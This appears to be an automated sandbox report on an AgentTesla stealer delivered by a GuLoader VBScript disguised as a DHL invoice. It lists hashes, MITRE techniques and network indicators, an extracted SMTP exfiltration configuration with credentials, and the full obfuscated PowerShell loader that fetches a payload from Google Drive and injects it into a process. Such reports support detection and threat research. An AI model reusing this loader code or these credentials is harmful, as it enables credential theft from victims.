agenttesla | b828a42d31cb9bab2620c4c1def73499c542be4f19a802c08e9c0a0971192c3f

General

Target

DHL INVOICE-2356.vbs
Size

43KB
MD5

0c816e41fef783ec40ce2d7447d4c5dd
SHA1

e0f156439fcba011174f92ef01a4a376b337314d
SHA256

b828a42d31cb9bab2620c4c1def73499c542be4f19a802c08e9c0a0971192c3f
SHA512

cb93ee840b711ad21cebb8f2d1f98aee087a166c320783de4913bfa70db5118780edd00d5df7712f9473452918f05d2ebad88f23280f10f97ded355b22bab7c3
SSDEEP

768:B696nNHECqC68L+iyHNm4WH8xlDeVXQ8MuCzPvbG4O8/MsOAkieqfz7DIKFAR:g9Ge8LP4xxaQhlDDpUssRWnIKFAR

Score

10^/10

agenttesla guloader credential_access discovery downloader execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
smtp.yandex.com
Port:
587
Username:
[email protected]
Password:
marcellinus360
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2204	powershell.exe
7	2204	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2204	powershell.exe
2784	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com
9	drive.google.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	api.ipify.org
18	api.ipify.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2684	wabmig.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2784	powershell.exe
2684	wabmig.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2784 set thread context of 2684	2784	powershell.exe	38

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wabmig.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2784	powershell.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2204	powershell.exe
2784	powershell.exe
2784	powershell.exe
2684	wabmig.exe
2684	wabmig.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2784	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2204	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	2684	wabmig.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2684	wabmig.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 2444 wrote to memory of 2204	2444	WScript.exe	30
PID 2444 wrote to memory of 2204	2444	WScript.exe	30
PID 2444 wrote to memory of 2204	2444	WScript.exe	30
PID 2204 wrote to memory of 264	2204	powershell.exe	32
PID 2204 wrote to memory of 264	2204	powershell.exe	32
PID 2204 wrote to memory of 264	2204	powershell.exe	32
PID 2204 wrote to memory of 2804	2204	powershell.exe	35
PID 2204 wrote to memory of 2804	2204	powershell.exe	35
PID 2204 wrote to memory of 2804	2204	powershell.exe	35
PID 2804 wrote to memory of 2784	2804	cmd.exe	36
PID 2804 wrote to memory of 2784	2804	cmd.exe	36
PID 2804 wrote to memory of 2784	2804	cmd.exe	36
PID 2804 wrote to memory of 2784	2804	cmd.exe	36
PID 2784 wrote to memory of 1396	2784	powershell.exe	37
PID 2784 wrote to memory of 1396	2784	powershell.exe	37
PID 2784 wrote to memory of 1396	2784	powershell.exe	37
PID 2784 wrote to memory of 1396	2784	powershell.exe	37
PID 2784 wrote to memory of 2684	2784	powershell.exe	38
PID 2784 wrote to memory of 2684	2784	powershell.exe	38
PID 2784 wrote to memory of 2684	2784	powershell.exe	38
PID 2784 wrote to memory of 2684	2784	powershell.exe	38
PID 2784 wrote to memory of 2684	2784	powershell.exe	38
PID 2784 wrote to memory of 2684	2784	powershell.exe	38

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DHL INVOICE-2356.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Antiracial Surrein Capron Underdraft Sixth #>;$Laanebelbets='Skinkels';<#Stabiliserende Amphiptere Wawled Kollaborer Dieselbilerne Kuldeblgernes Electrovection #>;$Trinitrotoluene=$host.PrivateData;If ($Trinitrotoluene) {$Uopnaaelighedens++;}function Unjagged($Stoicheiometry){$Spildevandsomraadernes=$Stoicheiometry.Length-$Uopnaaelighedens;for( $Odalborn=4;$Odalborn -lt $Spildevandsomraadernes;$Odalborn+=5){$Unclannishness+=$Stoicheiometry[$Odalborn];}$Unclannishness;}function hjreafledninger($Reembarcation){ & ($Forvaltningsregler) ($Reembarcation);}$Presystole=Unjagged 'InteMrenaoPandz ,eciudralUdarlAfskaEqu /U.te5Friz. ret0Phyl ,ubc( DogWWhiti PernMaskdGasboArduwKelss Be, Gl tNSv jTSw n S jn1Icic0 Pty.Fald0Vred; Ir, red,WSpili ExinDisa6retr4Puli;Sna, DrosxCoa,6Bygg4 ryd; on BannrHavnv U e: Tje1,ubl2fant1Bdde. Idm0ugun)Hono unmiGSticeSumpcIodik Rego P y/Relo2klie0Stik1 ort0Eddi0 Lis1 pun0Seem1Nuse P,lF CowiTagorPa.aeG,avf ResoRa.ix Ins/,lym1Nond2Tape1Non .,ver0Stor ';$Unadverse51=Unjagged 'NavnuB resPapeeLagerS.mi-W lkAMa.kGSnote dkoN Dert Mun ';$Violen=Unjagged ' Fush S vt xertKaldpMeadsHatt: Cre/Bra /NeapdMiddrOveriundevK nfeBe t.Anstg SkiounhaoFlergFirtlSeleeAlma.St,acM teoindemSpli/CremuPro cKnur?Rebee AttxDis.pChonoOutbrTarstUrfj= ardMagio ReswF,emnKorelforloCalca rupdForg&BraniB udd Tru=Torn1Frikk arg3 Fie-T.epMUsaglD leUBi tA antr Di,qSugg4WalkH DisAFaceXSpisGSamesH naMPaavz Ant5BuddHFdbo4HajedSkkeCPreabNo.pXUnemIK,ipCEudedTran0KbebCRemiWLaculConei Sam ';$Papillary=Unjagged 'Slv >nske ';$Forvaltningsregler=Unjagged 'EpidiAzimETallx Rat ';$Forfaldsdagene='Hebrere';$Vegetabilske = Unjagged 'KapieEti cA cohOblioSvin Hals%Konda StepAf,rpae,md upeau gatgia a T,d%Bran\DoglHLurveAf.anBetrfB laoLr reStr rFen.eCope.BimpFUndiesquemSepa Fo t&Fr m&Rich AnpreSalicUfr hPrizoStra D.pnt Spi ';hjreafledninger (Unjagged 'I ex$Efteg.verlT,sio RefbReenaAflol Tal:BremBForsaCrucnDesikRedra svrsFeltsSh riBomlsLnudt repe PronN yatUpd.=Arch(F dgcF mim ArkdMer Omgr/CambcCobu Fred$.urrV MorePaasgQuese.riatKobbaunrebUforilynelOdmasUnpikKosme isp)Ph l ');hjreafledninger (Unjagged 'Lnst$ Dy.gDuesl RevoTeleb GalaForelMop,:OpmaAuudfg TamrDom aT,mprInjusM li=Bela$ M tVAmatiParaoIcewl nameCa.enHear.Unwis eocpBon lU gei amptBow.( Sp.$O fiP,orsa metpUnyciPseulEccelAegiaLittrconcy,ryp) U d ');hjreafledninger (Unjagged ' Efo[SquiNOptne cidt Jus.W ndSAcroeGyser kitvFortiSummcMe ae ompP MiloAn hiLse,nProdtSlv,M Hvea ArbnMeanaPedigOr.bedelar at],vog: kst:OmveSDyspe .ppcBacku Ab.rTopaiCelltGassy SpiPUnbarKornoKristDataoUn,scEatrorabblNull Vin= luf orni[ PalN Ch,eTomatS.id.TrepS orsevindcSk puHover BefiS ortCoesyVrvlPCi kr avoAntitBilioTorscUnsmo dsvlSemiT An,yDi,lpHabseKlog] eko:Stre:G odT AfslHjtis Sce1Tils2Rage ');$Violen=$Agrars[0];$Strkbandagens= (Unjagged 'Geof$Ba,egKvatl,icroReboB GuaABurll lip:b ndAMycoRFo bIUneaS StiT PeroSolrd Ru.EAlmimC eeO ulacBookRDelmAN neCMi,iiDokueCit SUnc =Abron Stae ,onWStue-nedfOPoetBUnioj,ryseSpecCsareTRhiz HandSNormYVbrisHis TGen E MedMTetr.Fl.sNAkr eJ alT Nep.Red WPatwE.rtibKonvC .onl Do,IBaalEClamNPli T');$Strkbandagens+=$Bankassistent[1];hjreafledninger ($Strkbandagens);hjreafledninger (Unjagged ' Tea$terrASt,tr demiIleas ExotG gao inkdBewheTrafmOl goInfrcUru r nfaFacec dspi upe SitsVand.InveH P eeKri.a ,omdBiskeA derForssOmfo[Imp.$Dec UragenHjreamy md Belv B,neVerdrungks O.jeRegi5cyk 1 pha] ock= R.v$Ant PsewlrfollePhans Spay T.gsGenrtMealo MaulKorre .hi ');$Sexsymbolers=Unjagged 'Milj$Me aAPunkrKom.iKas sMenntBookoRapgdAn,ieHovem Beuo ubec Ri,rMa kaStatcFragiB,sbe VeksCh,l.MisfDUrteoSnftw hrnRee,l TraofireaDrindGuanF Invi u dl ldseIchn(Skri$ImpeVFortiSemio Perl iateEs inapp,, P a$FracS isenLandoThino UngtSeneiChurlFstnyEy.s) Lor ';$Snootily=$Bankassistent[0];hjreafledninger (Unjagged 'Haar$Oms gSpagLPic,o PinBFo daMi rl ,uc:Ky iRBaroAInceaTankFSherR HjrU S.agS jtT mbEUnfunRedn2Outr=A,ch( BehT F neBlgeSBud TKomp-PeliPFredA niTNekrHKomp Fag$ errsLuspn StrOEtfaoRitztDokuITillLRecaYJugg) em ');while (!$Raafrugten2) {hjreafledninger (Unjagged 'Oxli$WringLyd,l hanoL kfbWhifa Horl Pia:EngrE F rlForfiSli.gS geeExper,osseSambrS mm= Pr.$skaet rberKlatuEnkeeOp.a ') ;hjreafledninger $Sexsymbolers;hjreafledninger (Unjagged 'makuSPolytSalga HumrAksitTset-Res.SBondl D seTilfeNa upCin, Ansk4Odon ');hjreafledninger (Unjagged ' idd$SlaggOverl VanoHof.b cheaFro lTil.:RashRq.enaCaiqaStimfEksar .isu LysgTakktResseRedinBal.2Ka.c= .ut(WilgTReste kamsForftSapp- LvePStria ,nctFirehHard Nudd$ Fu SUopkn LacoHe so fortBambiBesml eflyRipt)Paaa ') ;hjreafledninger (Unjagged 'Fejl$ vgtgVoldlTechoKrisb G,uaBinglM ed:BridPSharaVekspYammiShi rAn,lvFejllG nbdT leeSipp= Add$ ensgTekslpairo urbPikna UbelWax :Kom fDe aaUdk lMi ad GrubMissy undd Udl+stat+Abn.% Meg$ClimAprovgTom r.eliaBundrThe.sGobb. Jamc asfoSyntuovn n udltkvie ') ;$Violen=$Agrars[$Papirvlde];}$Storaksen96=299653;$Mouritze=29124;hjreafledninger (Unjagged 'Flle$ReingPortlSo.roSv rbVitaaToksl Acr:po.iSLegacCrysr,iglaSussiPol g RhehInvae UnsdNann Pedr=Bond AbouGSpideBasktBust- IstCMicro Svan KortAfteeTabln LintTro Stru$MizeS IncnEkskoQuaco.blet KoniM,stlRok yLivs ');hjreafledninger (Unjagged 'Nong$Cat gSpinlTredo Supb ataE relyngl:So iAElimnU ebtAndehGarrrThoroMosqpStapoMaskg TraeFi voMonggH nirUbeaaSlaap,orjhA skiVi,lcAss,a Sk,lPja, F b=Paas Afst[OsdiSB,osyH.lss GastJu peDe rmAnsa.SignCEndioTr cnRegnvTu.le Hanr Albt F,l]Felt:De.e:CystF Synr aromusem eliBPl ta Gles,psleLif.6athe4LordS Dect oryrSermiRiannMolggDisq(K.rt$s.ydSSludcCo dr Gala S.fiDirigSa thDefae Ha,dTje ) ils ');hjreafledninger (Unjagged ' Non$ VedgAnkelInteo upebCharaBirclFri.:Sp aGEnteyRechmTetrnC,inaH mis cast H.li S.nkBarrf UnroPrivr H peDippnAfskifl unInspgUnree ncurLorr1Blde3Job 4 Sha Apoq=Rer U ed[MecuSPlysy aksElemtSempe,urtmS,em. SteTThe.eHinsxNredt Fl .SufiE.unknOvincDownoEle d fliiSkrbn InggForb] lde:Suve:ParaA Pr S PraCKoloIUn hISlib.LouiGDe,eeH,ngtTo aSHue t astr Wi,iStign tiegSeki(Jobn$PlunAMi.dnTwistNo.ehCunerTragoG.lepstaro Pl gS iteNatuoC,ung Si,rAldea ConpPre,h.kimi FlicTaalaKuraltvrd)hnse ');hjreafledninger (Unjagged 'Omst$WersgCorolBorto nsbCigaaB,wslAjle:S ylTretse sperEmeem PesoFimbs FintDrawaProntGabboMislv idwn Re e AlgnAs isEndh= O e$Svr,GEsloy vlmAn jnSinka WidsFremtphotiBacokThwafRaafoBetrrB lfeideonAppoiPectnfo,eg EnceDemorNels1Virk3Indr4Forr. ProsSynduelecb Om sKa.kt remrBr niPej,n,leugFors( J h$SvbeSSyg tSpedoVer rNedraSabrk FelsRedneRobanWauk9Isvr6Fi u,Re.s$ ermMTr,vo lekuBiosrlaboiPe.ptAd ez ejeunpo)C tg ');hjreafledninger $Termostatovnens;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2204
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Henfoere.Fem && echo t"
    3⤵
    PID:264
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Antiracial Surrein Capron Underdraft Sixth #>;$Laanebelbets='Skinkels';<#Stabiliserende Amphiptere Wawled Kollaborer Dieselbilerne Kuldeblgernes Electrovection #>;$Trinitrotoluene=$host.PrivateData;If ($Trinitrotoluene) {$Uopnaaelighedens++;}function Unjagged($Stoicheiometry){$Spildevandsomraadernes=$Stoicheiometry.Length-$Uopnaaelighedens;for( $Odalborn=4;$Odalborn -lt $Spildevandsomraadernes;$Odalborn+=5){$Unclannishness+=$Stoicheiometry[$Odalborn];}$Unclannishness;}function hjreafledninger($Reembarcation){ & ($Forvaltningsregler) ($Reembarcation);}$Presystole=Unjagged 'InteMrenaoPandz ,eciudralUdarlAfskaEqu /U.te5Friz. ret0Phyl ,ubc( DogWWhiti PernMaskdGasboArduwKelss Be, Gl tNSv jTSw n S jn1Icic0 Pty.Fald0Vred; Ir, red,WSpili ExinDisa6retr4Puli;Sna, DrosxCoa,6Bygg4 ryd; on BannrHavnv U e: Tje1,ubl2fant1Bdde. Idm0ugun)Hono unmiGSticeSumpcIodik Rego P y/Relo2klie0Stik1 ort0Eddi0 Lis1 pun0Seem1Nuse P,lF CowiTagorPa.aeG,avf ResoRa.ix Ins/,lym1Nond2Tape1Non .,ver0Stor ';$Unadverse51=Unjagged 'NavnuB resPapeeLagerS.mi-W lkAMa.kGSnote dkoN Dert Mun ';$Violen=Unjagged ' Fush S vt xertKaldpMeadsHatt: Cre/Bra /NeapdMiddrOveriundevK nfeBe t.Anstg SkiounhaoFlergFirtlSeleeAlma.St,acM teoindemSpli/CremuPro cKnur?Rebee AttxDis.pChonoOutbrTarstUrfj= ardMagio ReswF,emnKorelforloCalca rupdForg&BraniB udd Tru=Torn1Frikk arg3 Fie-T.epMUsaglD leUBi tA antr Di,qSugg4WalkH DisAFaceXSpisGSamesH naMPaavz Ant5BuddHFdbo4HajedSkkeCPreabNo.pXUnemIK,ipCEudedTran0KbebCRemiWLaculConei Sam ';$Papillary=Unjagged 'Slv >nske ';$Forvaltningsregler=Unjagged 'EpidiAzimETallx Rat ';$Forfaldsdagene='Hebrere';$Vegetabilske = Unjagged 'KapieEti cA cohOblioSvin Hals%Konda StepAf,rpae,md upeau gatgia a T,d%Bran\DoglHLurveAf.anBetrfB laoLr reStr rFen.eCope.BimpFUndiesquemSepa Fo t&Fr m&Rich AnpreSalicUfr hPrizoStra D.pnt Spi ';hjreafledninger (Unjagged 'I ex$Efteg.verlT,sio RefbReenaAflol Tal:BremBForsaCrucnDesikRedra svrsFeltsSh riBomlsLnudt repe PronN yatUpd.=Arch(F dgcF mim ArkdMer Omgr/CambcCobu Fred$.urrV MorePaasgQuese.riatKobbaunrebUforilynelOdmasUnpikKosme isp)Ph l ');hjreafledninger (Unjagged 'Lnst$ Dy.gDuesl RevoTeleb GalaForelMop,:OpmaAuudfg TamrDom aT,mprInjusM li=Bela$ M tVAmatiParaoIcewl nameCa.enHear.Unwis eocpBon lU gei amptBow.( Sp.$O fiP,orsa metpUnyciPseulEccelAegiaLittrconcy,ryp) U d ');hjreafledninger (Unjagged ' Efo[SquiNOptne cidt Jus.W ndSAcroeGyser kitvFortiSummcMe ae ompP MiloAn hiLse,nProdtSlv,M Hvea ArbnMeanaPedigOr.bedelar at],vog: kst:OmveSDyspe .ppcBacku Ab.rTopaiCelltGassy SpiPUnbarKornoKristDataoUn,scEatrorabblNull Vin= luf orni[ PalN Ch,eTomatS.id.TrepS orsevindcSk puHover BefiS ortCoesyVrvlPCi kr avoAntitBilioTorscUnsmo dsvlSemiT An,yDi,lpHabseKlog] eko:Stre:G odT AfslHjtis Sce1Tils2Rage ');$Violen=$Agrars[0];$Strkbandagens= (Unjagged 'Geof$Ba,egKvatl,icroReboB GuaABurll lip:b ndAMycoRFo bIUneaS StiT PeroSolrd Ru.EAlmimC eeO ulacBookRDelmAN neCMi,iiDokueCit SUnc =Abron Stae ,onWStue-nedfOPoetBUnioj,ryseSpecCsareTRhiz HandSNormYVbrisHis TGen E MedMTetr.Fl.sNAkr eJ alT Nep.Red WPatwE.rtibKonvC .onl Do,IBaalEClamNPli T');$Strkbandagens+=$Bankassistent[1];hjreafledninger ($Strkbandagens);hjreafledninger (Unjagged ' Tea$terrASt,tr demiIleas ExotG gao inkdBewheTrafmOl goInfrcUru r nfaFacec dspi upe SitsVand.InveH P eeKri.a ,omdBiskeA derForssOmfo[Imp.$Dec UragenHjreamy md Belv B,neVerdrungks O.jeRegi5cyk 1 pha] ock= R.v$Ant PsewlrfollePhans Spay T.gsGenrtMealo MaulKorre .hi ');$Sexsymbolers=Unjagged 'Milj$Me aAPunkrKom.iKas sMenntBookoRapgdAn,ieHovem Beuo ubec Ri,rMa kaStatcFragiB,sbe VeksCh,l.MisfDUrteoSnftw hrnRee,l TraofireaDrindGuanF Invi u dl ldseIchn(Skri$ImpeVFortiSemio Perl iateEs inapp,, P a$FracS isenLandoThino UngtSeneiChurlFstnyEy.s) Lor ';$Snootily=$Bankassistent[0];hjreafledninger (Unjagged 'Haar$Oms gSpagLPic,o PinBFo daMi rl ,uc:Ky iRBaroAInceaTankFSherR HjrU S.agS jtT mbEUnfunRedn2Outr=A,ch( BehT F neBlgeSBud TKomp-PeliPFredA niTNekrHKomp Fag$ errsLuspn StrOEtfaoRitztDokuITillLRecaYJugg) em ');while (!$Raafrugten2) {hjreafledninger (Unjagged 'Oxli$WringLyd,l hanoL kfbWhifa Horl Pia:EngrE F rlForfiSli.gS geeExper,osseSambrS mm= Pr.$skaet rberKlatuEnkeeOp.a ') ;hjreafledninger $Sexsymbolers;hjreafledninger (Unjagged 'makuSPolytSalga HumrAksitTset-Res.SBondl D seTilfeNa upCin, Ansk4Odon ');hjreafledninger (Unjagged ' idd$SlaggOverl VanoHof.b cheaFro lTil.:RashRq.enaCaiqaStimfEksar .isu LysgTakktResseRedinBal.2Ka.c= .ut(WilgTReste kamsForftSapp- LvePStria ,nctFirehHard Nudd$ Fu SUopkn LacoHe so fortBambiBesml eflyRipt)Paaa ') ;hjreafledninger (Unjagged 'Fejl$ vgtgVoldlTechoKrisb G,uaBinglM ed:BridPSharaVekspYammiShi rAn,lvFejllG nbdT leeSipp= Add$ ensgTekslpairo urbPikna UbelWax :Kom fDe aaUdk lMi ad GrubMissy undd Udl+stat+Abn.% Meg$ClimAprovgTom r.eliaBundrThe.sGobb. Jamc asfoSyntuovn n udltkvie ') ;$Violen=$Agrars[$Papirvlde];}$Storaksen96=299653;$Mouritze=29124;hjreafledninger (Unjagged 'Flle$ReingPortlSo.roSv rbVitaaToksl Acr:po.iSLegacCrysr,iglaSussiPol g RhehInvae UnsdNann Pedr=Bond AbouGSpideBasktBust- IstCMicro Svan KortAfteeTabln LintTro Stru$MizeS IncnEkskoQuaco.blet KoniM,stlRok yLivs ');hjreafledninger (Unjagged 'Nong$Cat gSpinlTredo Supb ataE relyngl:So iAElimnU ebtAndehGarrrThoroMosqpStapoMaskg TraeFi voMonggH nirUbeaaSlaap,orjhA skiVi,lcAss,a Sk,lPja, F b=Paas Afst[OsdiSB,osyH.lss GastJu peDe rmAnsa.SignCEndioTr cnRegnvTu.le Hanr Albt F,l]Felt:De.e:CystF Synr aromusem eliBPl ta Gles,psleLif.6athe4LordS Dect oryrSermiRiannMolggDisq(K.rt$s.ydSSludcCo dr Gala S.fiDirigSa thDefae Ha,dTje ) ils ');hjreafledninger (Unjagged ' Non$ VedgAnkelInteo upebCharaBirclFri.:Sp aGEnteyRechmTetrnC,inaH mis cast H.li S.nkBarrf UnroPrivr H peDippnAfskifl unInspgUnree ncurLorr1Blde3Job 4 Sha Apoq=Rer U ed[MecuSPlysy aksElemtSempe,urtmS,em. SteTThe.eHinsxNredt Fl .SufiE.unknOvincDownoEle d fliiSkrbn InggForb] lde:Suve:ParaA Pr S PraCKoloIUn hISlib.LouiGDe,eeH,ngtTo aSHue t astr Wi,iStign tiegSeki(Jobn$PlunAMi.dnTwistNo.ehCunerTragoG.lepstaro Pl gS iteNatuoC,ung Si,rAldea ConpPre,h.kimi FlicTaalaKuraltvrd)hnse ');hjreafledninger (Unjagged 'Omst$WersgCorolBorto nsbCigaaB,wslAjle:S ylTretse sperEmeem PesoFimbs FintDrawaProntGabboMislv idwn Re e AlgnAs isEndh= O e$Svr,GEsloy vlmAn jnSinka WidsFremtphotiBacokThwafRaafoBetrrB lfeideonAppoiPectnfo,eg EnceDemorNels1Virk3Indr4Forr. ProsSynduelecb Om sKa.kt remrBr niPej,n,leugFors( J h$SvbeSSyg tSpedoVer rNedraSabrk FelsRedneRobanWauk9Isvr6Fi u,Re.s$ ermMTr,vo lekuBiosrlaboiPe.ptAd ez ejeunpo)C tg ');hjreafledninger $Termostatovnens;"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2804
  - - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Antiracial Surrein Capron Underdraft Sixth #>;$Laanebelbets='Skinkels';<#Stabiliserende Amphiptere Wawled Kollaborer Dieselbilerne Kuldeblgernes Electrovection #>;$Trinitrotoluene=$host.PrivateData;If ($Trinitrotoluene) {$Uopnaaelighedens++;}function Unjagged($Stoicheiometry){$Spildevandsomraadernes=$Stoicheiometry.Length-$Uopnaaelighedens;for( $Odalborn=4;$Odalborn -lt $Spildevandsomraadernes;$Odalborn+=5){$Unclannishness+=$Stoicheiometry[$Odalborn];}$Unclannishness;}function hjreafledninger($Reembarcation){ & ($Forvaltningsregler) ($Reembarcation);}$Presystole=Unjagged 'InteMrenaoPandz ,eciudralUdarlAfskaEqu /U.te5Friz. ret0Phyl ,ubc( DogWWhiti PernMaskdGasboArduwKelss Be, Gl tNSv jTSw n S jn1Icic0 Pty.Fald0Vred; Ir, red,WSpili ExinDisa6retr4Puli;Sna, DrosxCoa,6Bygg4 ryd; on BannrHavnv U e: Tje1,ubl2fant1Bdde. Idm0ugun)Hono unmiGSticeSumpcIodik Rego P y/Relo2klie0Stik1 ort0Eddi0 Lis1 pun0Seem1Nuse P,lF CowiTagorPa.aeG,avf ResoRa.ix Ins/,lym1Nond2Tape1Non .,ver0Stor ';$Unadverse51=Unjagged 'NavnuB resPapeeLagerS.mi-W lkAMa.kGSnote dkoN Dert Mun ';$Violen=Unjagged ' Fush S vt xertKaldpMeadsHatt: Cre/Bra /NeapdMiddrOveriundevK nfeBe t.Anstg SkiounhaoFlergFirtlSeleeAlma.St,acM teoindemSpli/CremuPro cKnur?Rebee AttxDis.pChonoOutbrTarstUrfj= ardMagio ReswF,emnKorelforloCalca rupdForg&BraniB udd Tru=Torn1Frikk arg3 Fie-T.epMUsaglD leUBi tA antr Di,qSugg4WalkH DisAFaceXSpisGSamesH naMPaavz Ant5BuddHFdbo4HajedSkkeCPreabNo.pXUnemIK,ipCEudedTran0KbebCRemiWLaculConei Sam ';$Papillary=Unjagged 'Slv >nske ';$Forvaltningsregler=Unjagged 'EpidiAzimETallx Rat ';$Forfaldsdagene='Hebrere';$Vegetabilske = Unjagged 'KapieEti cA cohOblioSvin Hals%Konda StepAf,rpae,md upeau gatgia a T,d%Bran\DoglHLurveAf.anBetrfB laoLr reStr rFen.eCope.BimpFUndiesquemSepa Fo t&Fr m&Rich AnpreSalicUfr hPrizoStra D.pnt Spi ';hjreafledninger (Unjagged 'I ex$Efteg.verlT,sio RefbReenaAflol Tal:BremBForsaCrucnDesikRedra svrsFeltsSh riBomlsLnudt repe PronN yatUpd.=Arch(F dgcF mim ArkdMer Omgr/CambcCobu Fred$.urrV MorePaasgQuese.riatKobbaunrebUforilynelOdmasUnpikKosme isp)Ph l ');hjreafledninger (Unjagged 'Lnst$ Dy.gDuesl RevoTeleb GalaForelMop,:OpmaAuudfg TamrDom aT,mprInjusM li=Bela$ M tVAmatiParaoIcewl nameCa.enHear.Unwis eocpBon lU gei amptBow.( Sp.$O fiP,orsa metpUnyciPseulEccelAegiaLittrconcy,ryp) U d ');hjreafledninger (Unjagged ' Efo[SquiNOptne cidt Jus.W ndSAcroeGyser kitvFortiSummcMe ae ompP MiloAn hiLse,nProdtSlv,M Hvea ArbnMeanaPedigOr.bedelar at],vog: kst:OmveSDyspe .ppcBacku Ab.rTopaiCelltGassy SpiPUnbarKornoKristDataoUn,scEatrorabblNull Vin= luf orni[ PalN Ch,eTomatS.id.TrepS orsevindcSk puHover BefiS ortCoesyVrvlPCi kr avoAntitBilioTorscUnsmo dsvlSemiT An,yDi,lpHabseKlog] eko:Stre:G odT AfslHjtis Sce1Tils2Rage ');$Violen=$Agrars[0];$Strkbandagens= (Unjagged 'Geof$Ba,egKvatl,icroReboB GuaABurll lip:b ndAMycoRFo bIUneaS StiT PeroSolrd Ru.EAlmimC eeO ulacBookRDelmAN neCMi,iiDokueCit SUnc =Abron Stae ,onWStue-nedfOPoetBUnioj,ryseSpecCsareTRhiz HandSNormYVbrisHis TGen E MedMTetr.Fl.sNAkr eJ alT Nep.Red WPatwE.rtibKonvC .onl Do,IBaalEClamNPli T');$Strkbandagens+=$Bankassistent[1];hjreafledninger ($Strkbandagens);hjreafledninger (Unjagged ' Tea$terrASt,tr demiIleas ExotG gao inkdBewheTrafmOl goInfrcUru r nfaFacec dspi upe SitsVand.InveH P eeKri.a ,omdBiskeA derForssOmfo[Imp.$Dec UragenHjreamy md Belv B,neVerdrungks O.jeRegi5cyk 1 pha] ock= R.v$Ant PsewlrfollePhans Spay T.gsGenrtMealo MaulKorre .hi ');$Sexsymbolers=Unjagged 'Milj$Me aAPunkrKom.iKas sMenntBookoRapgdAn,ieHovem Beuo ubec Ri,rMa kaStatcFragiB,sbe VeksCh,l.MisfDUrteoSnftw hrnRee,l TraofireaDrindGuanF Invi u dl ldseIchn(Skri$ImpeVFortiSemio Perl iateEs inapp,, P a$FracS isenLandoThino UngtSeneiChurlFstnyEy.s) Lor ';$Snootily=$Bankassistent[0];hjreafledninger (Unjagged 'Haar$Oms gSpagLPic,o PinBFo daMi rl ,uc:Ky iRBaroAInceaTankFSherR HjrU S.agS jtT mbEUnfunRedn2Outr=A,ch( BehT F neBlgeSBud TKomp-PeliPFredA niTNekrHKomp Fag$ errsLuspn StrOEtfaoRitztDokuITillLRecaYJugg) em ');while (!$Raafrugten2) {hjreafledninger (Unjagged 'Oxli$WringLyd,l hanoL kfbWhifa Horl Pia:EngrE F rlForfiSli.gS geeExper,osseSambrS mm= Pr.$skaet rberKlatuEnkeeOp.a ') ;hjreafledninger $Sexsymbolers;hjreafledninger (Unjagged 'makuSPolytSalga HumrAksitTset-Res.SBondl D seTilfeNa upCin, Ansk4Odon ');hjreafledninger (Unjagged ' idd$SlaggOverl VanoHof.b cheaFro lTil.:RashRq.enaCaiqaStimfEksar .isu LysgTakktResseRedinBal.2Ka.c= .ut(WilgTReste kamsForftSapp- LvePStria ,nctFirehHard Nudd$ Fu SUopkn LacoHe so fortBambiBesml eflyRipt)Paaa ') ;hjreafledninger (Unjagged 'Fejl$ vgtgVoldlTechoKrisb G,uaBinglM ed:BridPSharaVekspYammiShi rAn,lvFejllG nbdT leeSipp= Add$ ensgTekslpairo urbPikna UbelWax :Kom fDe aaUdk lMi ad GrubMissy undd Udl+stat+Abn.% Meg$ClimAprovgTom r.eliaBundrThe.sGobb. Jamc asfoSyntuovn n udltkvie ') 